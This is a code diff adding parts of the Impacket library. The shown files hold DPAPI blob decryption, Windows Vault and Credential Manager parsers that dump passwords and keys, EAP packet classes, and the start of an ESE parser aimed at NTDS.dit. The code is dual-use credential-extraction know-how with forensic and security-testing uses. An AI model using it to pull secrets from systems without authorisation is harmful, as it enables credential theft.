+        print("CryptAlgo        : %.8x (%d) (%s)" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))
+        print("Salt             : %s" % (hexlify(self['Salt'])))
+        print("HMacKey          : %s" % (hexlify(self['HMacKey'])))
+        print("HashAlgo         : %.8x (%d) (%s)" % (self['HashAlgo'], self['HashAlgo'], ALGORITHMS(self['HashAlgo']).name))
+        print("HMac             : %s" % (hexlify(self['HMac'])))
+        print("Data             : %s" % (hexlify(self['Data'])))
+        print("Sign             : %s" % (hexlify(self['Sign'])))
+        print()
+
+
+    def deriveKey(self, sessionKey):
+        def fixparity(deskey):
+            from six import indexbytes, b
+            temp = b''
+            for i in range(len(deskey)):
+                t = (bin(indexbytes(deskey,i))[2:]).rjust(8,'0')
+                if t[:7].count('1') %2 == 0:
+                    temp+= b(chr(int(t[:7]+'1',2)))
+                else:
+                    temp+= b(chr(int(t[:7]+'0',2)))
+            return temp
+
+        if len(sessionKey) > ALGORITHMS_DATA[self['HashAlgo']][4]:
+            derivedKey = HMAC.new(sessionKey,  digestmod = ALGORITHMS_DATA[self['HashAlgo']][1]).digest()
+        else:
+            derivedKey = sessionKey
+
+
+        if len(derivedKey) < ALGORITHMS_DATA[self['CryptAlgo']][0]:
+            # Extend the key
+            derivedKey += b'\x00'*ALGORITHMS_DATA[self['HashAlgo']][4]
+            ipad = bytearray([ i ^ 0x36 for i in bytearray(derivedKey)][:ALGORITHMS_DATA[self['HashAlgo']][4]])
+            opad = bytearray([ i ^ 0x5c for i in bytearray(derivedKey)][:ALGORITHMS_DATA[self['HashAlgo']][4]])
+            derivedKey = ALGORITHMS_DATA[self['HashAlgo']][1].new(ipad).digest() + \
+                ALGORITHMS_DATA[self['HashAlgo']][1].new(opad).digest()
+            derivedKey = fixparity(derivedKey)
+
+        return derivedKey
+
+    def decrypt(self, key, entropy = None):
+        keyHash = SHA1.new(key).digest()
+        sessionKey = HMAC.new(keyHash, self['Salt'], ALGORITHMS_DATA[self['HashAlgo']][1])
+        if entropy is not None:
+            sessionKey.update(entropy)
+
+        sessionKey = sessionKey.digest()
+
+        # Derive the key
+        derivedKey = self.deriveKey(sessionKey)
+
+        cipher = ALGORITHMS_DATA[self['CryptAlgo']][1].new(derivedKey[:ALGORITHMS_DATA[self['CryptAlgo']][0]],
+                                mode=ALGORITHMS_DATA[self['CryptAlgo']][2], iv=b'\x00'*ALGORITHMS_DATA[self['CryptAlgo']][3])
+        cleartext = unpad(cipher.decrypt(self['Data']), ALGORITHMS_DATA[self['CryptAlgo']][1].block_size)
+
+        # Now check the signature
+
+        # ToDo Fix this, it's just ugly, more testing so we can remove one
+        toSign = (self.rawData[20:][:len(self.rawData)-20-len(self['Sign'])-4])
+
+        # Calculate the different HMACKeys
+        keyHash2 = keyHash + b"\x00"*ALGORITHMS_DATA[self['HashAlgo']][1].block_size
+        ipad = bytearray([i ^ 0x36 for i in bytearray(keyHash2)][:ALGORITHMS_DATA[self['HashAlgo']][1].block_size])
+        opad = bytearray([i ^ 0x5c for i in bytearray(keyHash2)][:ALGORITHMS_DATA[self['HashAlgo']][1].block_size])
+        a = ALGORITHMS_DATA[self['HashAlgo']][1].new(ipad)
+        a.update(self['HMac'])
+
+        hmacCalculated1 = ALGORITHMS_DATA[self['HashAlgo']][1].new(opad)
+        hmacCalculated1.update(a.digest())
+
+        if entropy is not None:
+            hmacCalculated1.update(entropy)
+
+        hmacCalculated1.update(toSign)
+
+        hmacCalculated3 = HMAC.new(keyHash, self['HMac'], ALGORITHMS_DATA[self['HashAlgo']][1])
+        if entropy is not None:
+            hmacCalculated3.update(entropy)
+
+        hmacCalculated3.update(toSign)
+
+        if hmacCalculated1.digest() == self['Sign'] or hmacCalculated3.digest() == self['Sign']:
+            return cleartext
+        else:
+            return None
+
+class VAULT_ATTRIBUTE(Structure):
+    structure = (
+        ('Id', '<L=0'),
+        ('Unknown1', '<L=0'),
+        ('Unknown2', '<L=0'),
+        ('Unknown3', '<L=0'),
+    )
+
+    padding = (
+        ('Pad', '6s=b""'),
+    )
+
+    id100 = (
+        ('Unknown5', '<L=0'),
+    )
+
+    extended = (
+        ('Size','<L=0'),
+        ('IVPresent', '<B=?&IVSize'),
+        ('IVSize', '<L=0'),
+        ('_IV', '_-IV', 'self["IVSize"] if self["IVSize"] is not None else 0'),
+        ('IV', ':'),
+        ('_Data','_-Data', 'self["Size"]-self["IVSize"]-5 if self["IVPresent"] else self["Size"]-1'),
+        ('Data',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        if len(data) > 20:
+            if data[16:][:6] == b'\x00'*6:
+                self.structure += self.padding
+            if unpack('<L',data[:4])[0] >= 100:
+                self.structure += self.id100
+            if len(data[16:]) >= 9:
+                self.structure += self.extended
+        Structure.__init__(self, data, alignment)
+
+
+    def dump(self):
+        print("[ATTRIBUTE %d]" % self['Id'])
+        if len(self.rawData) > 28:
+            print("Size   : 0x%x" % self['Size'])
+            if self['IVPresent'] > 0:
+                print("IVSize : 0x%x" % self['IVSize'])
+                print("IV     : %s" % hexlify(self['IV']))
+            print("Data   : %s" % hexlify(self['Data']))
+
+class VAULT_ATTRIBUTE_MAP_ENTRY(Structure):
+    structure = (
+        ('Id', '<L=0'),
+        ('Offset', '<L=0'),
+        ('Unknown1', '<L=0'),
+    )
+    def dump(self):
+        print("[MAP ENTRY %d @ 0x%.8x]" % (self['Id'], self['Offset']))
+
+class VAULT_VCRD(Structure):
+    structure = (
+        ('SchemaGuid', "16s=b"""),
+        ('Unknown0', '<L=0'),
+        ('LastWritten', '<Q=0'),
+        ('Unknown1', '<L=0'),
+        ('Unknown2', '<L=0'),
+        ('FriendlyNameLen', '<L=0'),
+        ('FriendlyNameL', '_-FriendlyName', 'self["FriendlyNameLen"]'),
+        ('FriendlyName', ':'),
+        ('AttributesMapsSize', '<L=0'),
+        ('AttributeL', '_-AttributeMaps', 'self["AttributesMapsSize"]'),
+        ('AttributeMaps', ':'),
+        ('Data', ':'),
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is not None:
+            # Process the MAP entries
+            self.mapEntries = list()
+            data = self['AttributeMaps']
+            for i in range(self['AttributesMapsSize']//len(VAULT_ATTRIBUTE_MAP_ENTRY())):
+                entry = VAULT_ATTRIBUTE_MAP_ENTRY(data)
+                self.mapEntries.append(entry)
+                data = data[len(VAULT_ATTRIBUTE_MAP_ENTRY()):]
+
+            self.attributesLen = list()
+
+            for i in range(len(self.mapEntries)):
+                if i > 0:
+                    self.attributesLen.append(self.mapEntries[i]['Offset']-self.mapEntries[i-1]['Offset'])
+
+            self.attributesLen.append(len(self.rawData) - self.mapEntries[i]['Offset'] )
+
+            self.attributes = list()
+            for i, entry in enumerate(self.mapEntries):
+                attribute = VAULT_ATTRIBUTE(self.rawData[entry['Offset']:][:self.attributesLen[i]])
+                self.attributes.append(attribute)
+
+            # Do we have remaining data?
+            self['Data'] = self.rawData[self.mapEntries[-1]['Offset']+len(self.attributes[-1].getData()):]
+
+    def dump(self):
+        print("[VCRD]")
+        print("SchemaGuid  : %s" % bin_to_string(self['SchemaGuid']))
+        print("LastWritten : %s" % (datetime.utcfromtimestamp(getUnixTime(self['LastWritten']))))
+        print("FriendlyName: %s" % (self['FriendlyName'].decode('utf-16le')))
+        print()
+        for i,entry in enumerate(self.mapEntries):
+            entry.dump()
+            self.attributes[i].dump()
+        print()
+        print("Remaining   : %s" % (hexlify(self['Data'])))
+        print()
+
+class VAULT_VPOL(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('Guid', "16s=b"""),
+        ('DescriptionLen', '<L=0'),
+        ('_Description', '_-Description', 'self["DescriptionLen"]'),
+        ('Description', ':'),
+        ('Unknown', '12s=b""'),
+        ('Size', '<L=0'),
+        ('Guid2', "16s=b"""),
+        ('Guid3', "16s=b"""),
+        ('KeySize','<L=0'),
+        ('_Blob', '_-Blob', 'self["KeySize"]'),
+        ('Blob', ':', DPAPI_BLOB),
+    )
+
+    def dump(self):
+        print("[VAULT_VPOL]")
+        print("Version      : %8x (%d)" % (self['Version'], self['Version']))
+        print("Guid         : %s" % bin_to_string(self['Guid']))
+        print("Description  : %s" % (self['Description'].decode('utf-16le')))
+        print("Size         : 0x%.8x (%d)" % (self['Size'], self['Size']))
+        print("Guid2        : %s" % bin_to_string(self['Guid2']))
+        print("Guid3        : %s" % bin_to_string(self['Guid3']))
+        print("KeySize      : 0x%.8x (%d)" % (self['KeySize'], self['KeySize']))
+        self['Blob'].dump()
+        print()
+
+# from bcrypt.h
+class BCRYPT_KEY_DATA_BLOB_HEADER(Structure):
+    structure = (
+        ('dwMagic','<L=0'),
+        ('dwVersion','<L=0'),
+        ('cbKeyData','<L=0'),
+        ('_bKey','_-bKey', 'self["cbKeyData"]'),
+        ('bKey',':'),
+    )
+
+# from https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Jkambic-Cunning-With-Cng-Soliciting-Secrets-From-Schannel-WP.pdf
+class BCRYPT_KSSM_DATA_BLOB_HEADER(Structure):
+    structure = (
+        ('cbLength','<L=0'),
+        ('dwKeyMagic','<L=0'),
+        ('dwUnknown2','<L=0'),
+        ('dwUnknown3','<L=0'),
+        ('dwKeyBitLen','<L=0'),
+        ('cbKeyLength','<L=0'),
+        #('_bKey','_-bKey', 'self["cbKeyData"]'),
+        #('AesKey','32s=""'),
+        #('dwUnknown4','<L=0'),
+        #('KeySchedule','448s=""'),
+        #('dwUnknown5','<L=0'),
+        #('cbScheduleLen','<L=0'),
+        #('Unknown6','16s=""'),
+    )
+
+class BCRYPT_KEY_WRAP(Structure):
+    structureKDBM = (
+        ('Size','<L=0'),
+        ('Version','<L=0'),
+        ('Unknown2','<L=0'),
+        ('_bKeyBlob','_-bKeyBlob', 'self["Size"]'),
+        ('bKeyBlob',':', BCRYPT_KEY_DATA_BLOB_HEADER),
+    )
+    structureKSSM = (
+        ('Size','<L=0'),
+        ('Version','<L=0'),
+        ('Unknown2','<L=0'),
+        ('_bKeyBlob','_-bKeyBlob', 'self["Size"]-8'),
+        ('bKeyBlob',':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        if len(data) >=16:
+            if data[0:1] == b'\x24' or data[0:1] == b'\x34':
+                self.structure = self.structureKDBM
+            else:
+                self.structure = self.structureKSSM
+        Structure.__init__(self, data, alignment)
+
+class VAULT_VPOL_KEYS(Structure):
+    structure = (
+        ('Key1',':', BCRYPT_KEY_WRAP),
+        ('Key2',':', BCRYPT_KEY_WRAP),
+    )
+    def dump(self):
+        print("[VAULT_VPOL_KEYS]")
+        if self['Key1']['Size'] > 0x24:
+            print('Key1:')
+            hexdump(self['Key1']['bKeyBlob'])
+            print('Key2:')
+            hexdump(self['Key2']['bKeyBlob'])
+        else:
+            print('Key1: 0x%s' % hexlify(self['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
+            print('Key2: 0x%s' % hexlify(self['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
+            print()
+
+class VAULT_INTERNET_EXPLORER(Structure):
+    structure = (
+        ('Version','<L=0'),
+        ('Count','<L=0'),
+        ('Unknown','<L=0'),
+        ('Id1', '<L=0'),
+        ('UsernameLen', '<L=0'),
+        ('_Username', '_-Username','self["UsernameLen"]'),
+        ('Username', ':'),
+
+        ('Id2', '<L=0'),
+        ('ResourceLen', '<L=0'),
+        ('_Resource', '_-Resource', 'self["ResourceLen"]'),
+        ('Resource', ':'),
+
+        ('Id3', '<L=0'),
+        ('PasswordLen', '<L=0'),
+        ('_Password', '_-Password', 'self["PasswordLen"]'),
+        ('Password', ':'),
+    )
+    def fromString(self, data):
+        Structure.fromString(self, data)
+
+    def dump(self):
+        print("[Internet Explorer]")
+        print('Username        : %s' % self['Username'].decode('utf-16le'))
+        print('Resource        : %s' % self['Resource'].decode('utf-16le'))
+        print('Password        : %s' % (hexlify(self['Password'])))
+        print()
+
+class VAULT_WIN_BIO_KEY(Structure):
+    structure = (
+        ('Version','<L=0'),
+        ('Count','<L=0'),
+        ('Unknown','<L=0'),
+        ('Id1', '<L=0'),
+        ('SidLen', '<L=0'),
+        ('_Sid', '_-Sid','self["SidLen"]'),
+        ('Sid', ':'),
+
+        ('Id2', '<L=0'),
+        ('NameLen', '<L=0'),
+        ('_Name', '_-Name', 'self["NameLen"]'),
+        ('Name', ':'),
+
+        ('Id3', '<L=0'),
+        ('BioKeyLen', '<L=0'),
+        ('_BioKey', '_-BioKey', 'self["BioKeyLen"]'),
+        ('BioKey', ':'),
+    )
+    def fromString(self, data):
+        Structure.fromString(self, data)
+        if data is not None:
+            bioKey = BCRYPT_KEY_DATA_BLOB_HEADER(unhexlify(self['BioKey'].decode('utf-16le')[:-1]))
+            self['BioKey'] = bioKey
+
+    def dump(self):
+        print("[WINDOWS BIOMETRIC KEY]")
+        print('Sid          : %s' % RPC_SID(b'\x05\x00\x00\x00'+self['Sid']).formatCanonical())
+        print('Friendly Name: %s' % self['Name'].decode('utf-16le'))
+        print('Biometric Key: 0x%s' % (hexlify(self['BioKey']['bKey'])).decode('latin-1'))
+        print()
+
+class NGC_LOCAL_ACCOOUNT(Structure):
+    structure = (
+        ('Version','<L=0'),
+        ('UnlockKeySize','<L=0'),
+        ('IVSize','<L=0'),
+        ('CipherTextSize','<L=0'),
+        ('MustBeZeroTest','<L=0'),
+        ('_UnlockKey', '_-UnlockKey', 'self["UnlockKeySize"]'),
+        ('UnlockKey', ':'),
+        ('_IV', '_-IV', 'self["IVSize"]'),
+        ('IV', ':'),
+        ('_CipherText', '_-CipherText', 'self["CipherTextSize"]'),
+        ('CipherText', ':'),
+    )
+#    def __init__(self, data=None, alignment = 0):
+#        hexdump(data)
+    def dump(self):
+        print("[NGC LOCAL ACCOOUNT]")
+        print('UnlockKey    : %s' % hexlify(self["UnlockKey"]))
+        print('IV           : %s' % hexlify(self["IV"]))
+        print('CipherText   : %s' % hexlify(self["CipherText"]))
+
+class VAULT_NGC_ACCOOUNT(Structure):
+    structure = (
+        ('Version','<L=0'),
+        ('Count','<L=0'),
+        ('Unknown','<L=0'),
+        ('Id1', '<L=0'),
+        ('SidLen', '<L=0'),
+        ('_Sid', '_-Sid','self["SidLen"]'),
+        ('Sid', ':'),
+
+        ('Id2', '<L=0'),
+        ('NameLen', '<L=0'),
+        ('_Name', '_-Name', 'self["NameLen"]'),
+        ('Name', ':'),
+
+        ('Id3', '<L=0'),
+        ('BlobLen', '<L=0'),
+        ('Blob', '_-Blob', 'self["BlobLen"]'),
+        ('Blob', ':', NGC_LOCAL_ACCOOUNT),
+    )
+    def dump(self):
+        print("[NGC VAULT]")
+        print('Sid          : %s' % RPC_SID(b'\x05\x00\x00\x00'+self['Sid']).formatCanonical())
+        print('Friendly Name: %s' % self['Name'].decode('utf-16le'))
+        self['Blob'].dump()
+        print()
+
+VAULT_KNOWN_SCHEMAS = {
+    'WinBio Key': VAULT_WIN_BIO_KEY,
+    'NGC Local Accoount Logon Vault Credential': VAULT_NGC_ACCOOUNT,
+    'Internet Explorer': VAULT_INTERNET_EXPLORER,
+}
+
+class CREDENTIAL_ATTRIBUTE(Structure):
+    # some info here https://docs.microsoft.com/en-us/windows/desktop/api/wincred/ns-wincred-_credential_attributea
+    structure = (
+        ('Flags','<L=0'),
+
+        ('KeyWordSize', '<L=0'),
+        ('_KeyWord', '_-KeyWord', 'self["KeyWordSize"]'),
+        ('KeyWord', ':'),
+
+        ('DataSize', '<L=0'),
+        ('_Data', '_-Data', 'self["DataSize"]'),
+        ('Data', ':'),
+    )
+
+    def dump(self):
+        print("KeyWord : %s" % (self['KeyWord'].decode('utf-16le')))
+        #print("Flags   : %8x (%s)" % (self['Flags'], getFlags(CREDENTIAL_FLAGS, self['Flags'])))
+        print("Data    : ")
+        hexdump(self['Data'])
+
+class CREDENTIAL_BLOB(Structure):
+    # some info here https://docs.microsoft.com/en-us/windows/desktop/api/wincred/ns-wincred-_credentiala
+    structure = (
+        ('Flags','<L=0'),
+        ('Size','<L=0'),
+        ('Unknown0','<L=0'),
+        ('Type','<L=0'),
+        ('Flags2','<L=0'),
+        ('LastWritten','<Q=0'),
+        ('Unknown2','<L=0'),
+        ('Persist','<L=0'),
+        ('AttrCount','<L=0'),
+        ('Unknown3','<Q=0'),
+
+        ('TargetSize','<L=0'),
+        ('_Target','_-Target','self["TargetSize"]'),
+        ('Target',':'),
+
+        ('TargetAliasSize', '<L=0'),
+        ('_TargetAliast', '_-TargetAlias', 'self["TargetAliasSize"]'),
+        ('TargetAlias', ':'),
+
+        ('DescriptionSize', '<L=0'),
+        ('_Description', '_-Description', 'self["DescriptionSize"]'),
+        ('Description', ':'),
+
+        ('UnknownSize', '<L=0'),
+        ('_Unknown', '_-Unknown', 'self["UnknownSize"]'),
+        ('Unknown', ':'),
+
+        ('UsernameSize', '<L=0'),
+        ('_Username', '_-Username', 'self["UsernameSize"]'),
+        ('Username', ':'),
+
+        ('Unknown3Size', '<L=0'),
+        ('_Unknown3', '_-Unknown3', 'self["Unknown3Size"]'),
+        ('Unknown3', ':'),
+
+        ('Remaining', ':'),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        self.attributes = 0
+        if data is not None:
+            # Unpack the attributes
+            remaining = self['Remaining']
+            self.attributes = list()
+            for i in range(self['AttrCount']):
+                attr = CREDENTIAL_ATTRIBUTE(remaining)
+                self.attributes.append(attr)
+                remaining = remaining[len(attr):]
+
+    def dump(self):
+        print("[CREDENTIAL]")
+        print("LastWritten : %s" % (datetime.utcfromtimestamp(getUnixTime(self['LastWritten']))))
+        print("Flags       : 0x%.8x (%s)" % (self['Flags'], getFlags(CREDENTIAL_FLAGS, self['Flags'])))
+        print("Persist     : 0x%.8x (%s)" % (self['Persist'], CREDENTIAL_PERSIST(self['Persist']).name))
+        print("Type        : 0x%.8x (%s)" % (self['Type'], CREDENTIAL_TYPE(self['Type']).name))
+        print("Target      : %s" % (self['Target'].decode('utf-16le')))
+        print("Description : %s" % (self['Description'].decode('utf-16le')))
+        print("Unknown     : %s" % (self['Unknown'].decode('utf-16le')))
+        print("Username    : %s" % (self['Username'].decode('utf-16le')))
+        try:
+            print("Unknown     : %s" % (self['Unknown3'].decode('utf-16le')))
+        except UnicodeDecodeError:
+            print("Unknown     : %s" % (self['Unknown3'].decode('latin-1')))
+
+        print()
+        for entry in self.attributes:
+            entry.dump()
+
+ALG_ID = '<L=0'
+
+class P_BACKUP_KEY(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('Data', ':'),
+    )
+
+class PREFERRED_BACKUP_KEY(Structure):
+    structure = (
+        ('Version', '<L=0'),
+        ('KeyLength', '<L=0'),
+        ('CertificateLength', '<L=0'),
+        ('Data', ':'),
+    )
+
+class PVK_FILE_HDR(Structure):
+    structure = (
+        ('dwMagic', '<L=0'),
+        ('dwVersion', '<L=0'),
+        ('dwKeySpec', '<L=0'),
+        ('dwEncryptType', '<L=0'),
+        ('cbEncryptData', '<L=0'),
+        ('cbPvk', '<L=0'),
+    )
+
+class PUBLICKEYSTRUC(Structure):
+    structure = (
+        ('bType', '<B=0'),
+        ('bVersion', '<B=0'),
+        ('reserved', '<H=0'),
+        ('aiKeyAlg', ALG_ID),
+    )
+
+class RSAPUBKEY(Structure):
+    structure = (
+        ('magic', '<L=0'),
+        ('bitlen', '<L=0'),
+        ('pubexp', '<L=0'),
+    )
+
+class PUBLIC_KEY_BLOB(Structure):
+    structure = (
+        ('publickeystruc', ':', PUBLICKEYSTRUC),
+        ('rsapubkey', ':', RSAPUBKEY),
+        ('_modulus', '_-modulus', 'self["rsapubkey"]["bitlen"] // 8'),
+    )
+
+class PRIVATE_KEY_BLOB(Structure):
+    structure = (
+        ('publickeystruc', ':', PUBLICKEYSTRUC),
+        ('rsapubkey', ':', RSAPUBKEY),
+        ('_modulus', '_-modulus', 'self["rsapubkey"]["bitlen"] // 8'),
+        ('modulus', ':'),
+        ('_prime1', '_-prime1', 'self["rsapubkey"]["bitlen"] // 16'),
+        ('prime1', ':'),
+        ('_prime2', '_-prime2', 'self["rsapubkey"]["bitlen"] // 16'),
+        ('prime2', ':'),
+        ('_exponent1', '_-exponent1', 'self["rsapubkey"]["bitlen"] // 16'),
+        ('exponent1', ':'),
+        ('_exponent2', '_-exponent2', 'self["rsapubkey"]["bitlen"] // 16'),
+        ('exponent2', ':'),
+        ('_coefficient', '_-coefficient', 'self["rsapubkey"]["bitlen"] // 16'),
+        ('coefficient', ':'),
+        ('_privateExponent', '_-privateExponent', 'self["rsapubkey"]["bitlen"] // 8'),
+        ('privateExponent', ':'),
+    )
+
+class SIMPLE_KEY_BLOB(Structure):
+    structure = (
+        ('publickeystruc', ':', PUBLICKEYSTRUC),
+        ('algid', ALG_ID),
+        ('encryptedkey', ':'),
+    )
+
+class DPAPI_DOMAIN_RSA_MASTER_KEY(Structure):
+    structure = (
+        ('cbMasterKey', '<L=0'),
+        ('cbSuppKey', '<L=0'),
+        ('buffer', ':'),
+    )
+
+def privatekeyblob_to_pkcs1(key):
+    '''
+    parse private key into pkcs#1 format
+    :param key:
+    :return:
+    '''
+    modulus = bytes_to_long(key['modulus'][::-1]) # n
+    prime1 = bytes_to_long(key['prime1'][::-1]) # p
+    prime2 = bytes_to_long(key['prime2'][::-1]) # q
+    exp1 = bytes_to_long(key['exponent1'][::-1])
+    exp2 = bytes_to_long(key['exponent2'][::-1])
+    coefficient = bytes_to_long(key['coefficient'][::-1])
+    privateExp = bytes_to_long(key['privateExponent'][::-1]) # d
+    if PY3:
+        long = int
+    pubExp = long(key['rsapubkey']['pubexp']) # e
+    # RSA.Integer(prime2).inverse(prime1) # u
+
+    r = RSA.construct((modulus, pubExp, privateExp, prime1, prime2))
+    return r
diff --git a/impacket/eap.py b/impacket/eap.py
new file mode 100644
index 0000000..e9e3e68
--- /dev/null
+++ b/impacket/eap.py
@@ -0,0 +1,70 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   EAP packets
+#
+# Author:
+#   Aureliano Calvo
+#
+
+from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian
+
+DOT1X_AUTHENTICATION = 0x888E
+
+class EAPExpanded(ProtocolPacket):
+    """EAP expanded data according to RFC 3748, section 5.7"""
+    
+    WFA_SMI = 0x00372a
+    SIMPLE_CONFIG = 0x00000001
+
+    header_size = 7
+    tail_size = 0
+    
+    vendor_id = ThreeBytesBigEndian(0)
+    vendor_type = Long(3, ">")
+
+class EAPR(ProtocolPacket):
+    """It represents a request or a response in EAP (codes 1 and 2)"""
+    
+    IDENTITY = 0x01
+    EXPANDED = 0xfe
+
+    header_size = 1
+    tail_size = 0
+    
+    type = Byte(0)            
+
+class EAP(ProtocolPacket):
+    REQUEST = 0x01
+    RESPONSE = 0x02
+    SUCCESS = 0x03
+    FAILURE = 0x04 
+
+    header_size = 4
+    tail_size = 0
+
+    code = Byte(0)
+    identifier = Byte(1)
+    length = Word(2, ">")        
+
+class EAPOL(ProtocolPacket):
+    EAP_PACKET = 0x00
+    EAPOL_START = 0x01
+    EAPOL_LOGOFF = 0x02
+    EAPOL_KEY = 0x03
+    EAPOL_ENCAPSULATED_ASF_ALERT = 0x04
+    
+    DOT1X_VERSION = 0x01
+
+    header_size = 4
+    tail_size = 0
+    
+    version = Byte(0)
+    packet_type = Byte(1)
+    body_length = Word(2, ">")
diff --git a/impacket/ese.py b/impacket/ese.py
new file mode 100644
index 0000000..bd498d7
--- /dev/null
+++ b/impacket/ese.py
@@ -0,0 +1,977 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Microsoft Extensive Storage Engine parser, just focused on trying
+#   to parse NTDS.dit files (not meant as a full parser, although it might work)
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   Structure
+# 
+#   Excellent reference done by Joachim Metz
+#   - http://forensic-proof.com/wp-content/uploads/2011/07/Extensible-Storage-Engine-ESE-Database-File-EDB-format.pdf
+#
+# ToDo: 
+#   [ ] Parse multi-values properly
+#   [ ] Support long values properly
+#
+
+from __future__ import division
+from __future__ import print_function
+from impacket import LOG
+try:
+    from collections import OrderedDict
+except:
+    try:
+        from ordereddict.ordereddict import OrderedDict
+    except:
+        from ordereddict import OrderedDict
+from impacket.structure import Structure, hexdump
+from struct import unpack
+from binascii import hexlify
+from six import b
+
+# Constants
+
+FILE_TYPE_DATABASE       = 0
+FILE_TYPE_STREAMING_FILE = 1
+
+# Database state
+JET_dbstateJustCreated    = 1
+JET_dbstateDirtyShutdown  = 2
+JET_dbstateCleanShutdown  = 3
+JET_dbstateBeingConverted = 4
+JET_dbstateForceDetach    = 5
+
+# Page Flags
+FLAGS_ROOT         = 1
+FLAGS_LEAF         = 2
+FLAGS_PARENT       = 4
+FLAGS_EMPTY        = 8
+FLAGS_SPACE_TREE   = 0x20
+FLAGS_INDEX        = 0x40
+FLAGS_LONG_VALUE   = 0x80
+FLAGS_NEW_FORMAT   = 0x2000
+FLAGS_NEW_CHECKSUM = 0x2000
+
+# Tag Flags
+TAG_UNKNOWN = 0x1
+TAG_DEFUNCT = 0x2
+TAG_COMMON  = 0x4
+
+# Fixed Page Numbers
+DATABASE_PAGE_NUMBER           = 1
+CATALOG_PAGE_NUMBER            = 4
+CATALOG_BACKUP_PAGE_NUMBER     = 24
+
+# Fixed FatherDataPages
+DATABASE_FDP         = 1
+CATALOG_FDP          = 2
+CATALOG_BACKUP_FDP   = 3
+
+# Catalog Types
+CATALOG_TYPE_TABLE        = 1
+CATALOG_TYPE_COLUMN       = 2
+CATALOG_TYPE_INDEX        = 3
+CATALOG_TYPE_LONG_VALUE   = 4
+CATALOG_TYPE_CALLBACK     = 5
+
+# Column Types
+JET_coltypNil          = 0
+JET_coltypBit          = 1
+JET_coltypUnsignedByte = 2
+JET_coltypShort        = 3
+JET_coltypLong         = 4
+JET_coltypCurrency     = 5
+JET_coltypIEEESingle   = 6
+JET_coltypIEEEDouble   = 7
+JET_coltypDateTime     = 8
+JET_coltypBinary       = 9
+JET_coltypText         = 10
+JET_coltypLongBinary   = 11
+JET_coltypLongText     = 12
+JET_coltypSLV          = 13
+JET_coltypUnsignedLong = 14
+JET_coltypLongLong     = 15
+JET_coltypGUID         = 16
+JET_coltypUnsignedShort= 17
+JET_coltypMax          = 18
+
+ColumnTypeToName = {
+    JET_coltypNil          : 'NULL',
+    JET_coltypBit          : 'Boolean',
+    JET_coltypUnsignedByte : 'Signed byte',
+    JET_coltypShort        : 'Signed short',
+    JET_coltypLong         : 'Signed long',
+    JET_coltypCurrency     : 'Currency',
+    JET_coltypIEEESingle   : 'Single precision FP',
+    JET_coltypIEEEDouble   : 'Double precision FP',
+    JET_coltypDateTime     : 'DateTime',
+    JET_coltypBinary       : 'Binary',
+    JET_coltypText         : 'Text',
+    JET_coltypLongBinary   : 'Long Binary',
+    JET_coltypLongText     : 'Long Text',
+    JET_coltypSLV          : 'Obsolete',
+    JET_coltypUnsignedLong : 'Unsigned long',
+    JET_coltypLongLong     : 'Long long',
+    JET_coltypGUID         : 'GUID',
+    JET_coltypUnsignedShort: 'Unsigned short',
+    JET_coltypMax          : 'Max',
+}
+
+ColumnTypeSize = {
+    JET_coltypNil          : None,
+    JET_coltypBit          : (1,'B'),
+    JET_coltypUnsignedByte : (1,'B'),
+    JET_coltypShort        : (2,'<h'),
+    JET_coltypLong         : (4,'<l'),
+    JET_coltypCurrency     : (8,'<Q'),
+    JET_coltypIEEESingle   : (4,'<f'),
+    JET_coltypIEEEDouble   : (8,'<d'),
+    JET_coltypDateTime     : (8,'<Q'),
+    JET_coltypBinary       : None,
+    JET_coltypText         : None, 
+    JET_coltypLongBinary   : None,
+    JET_coltypLongText     : None,
+    JET_coltypSLV          : None,
+    JET_coltypUnsignedLong : (4,'<L'),
+    JET_coltypLongLong     : (8,'<Q'),
+    JET_coltypGUID         : (16,'16s'),
+    JET_coltypUnsignedShort: (2,'<H'),
+    JET_coltypMax          : None,
+}
+
+# Tagged Data Type Flags
+TAGGED_DATA_TYPE_VARIABLE_SIZE = 1
+TAGGED_DATA_TYPE_COMPRESSED    = 2
+TAGGED_DATA_TYPE_STORED        = 4
+TAGGED_DATA_TYPE_MULTI_VALUE   = 8
+TAGGED_DATA_TYPE_WHO_KNOWS     = 10
+
+# Code pages
+CODEPAGE_UNICODE = 1200
+CODEPAGE_ASCII   = 20127
+CODEPAGE_WESTERN = 1252
+
+StringCodePages = {
+    CODEPAGE_UNICODE : 'utf-16le', 
+    CODEPAGE_ASCII   : 'ascii',
+    CODEPAGE_WESTERN : 'cp1252',
+}
+
+# Structures
+
+TABLE_CURSOR = {
+    'TableData' : b'',
+    'FatherDataPageNumber': 0,
+    'CurrentPageData' : b'',
+    'CurrentTag' : 0,
+}
+
+class ESENT_JET_SIGNATURE(Structure):
+    structure = (
+        ('Random','<L=0'),
+        ('CreationTime','<Q=0'),
+        ('NetBiosName','16s=b""'),
+    )
+
+class ESENT_DB_HEADER(Structure):
+    structure = (
+        ('CheckSum','<L=0'),
+        ('Signature','"\xef\xcd\xab\x89'),
+        ('Version','<L=0'),
+        ('FileType','<L=0'),
+        ('DBTime','<Q=0'),
+        ('DBSignature',':',ESENT_JET_SIGNATURE),
+        ('DBState','<L=0'),
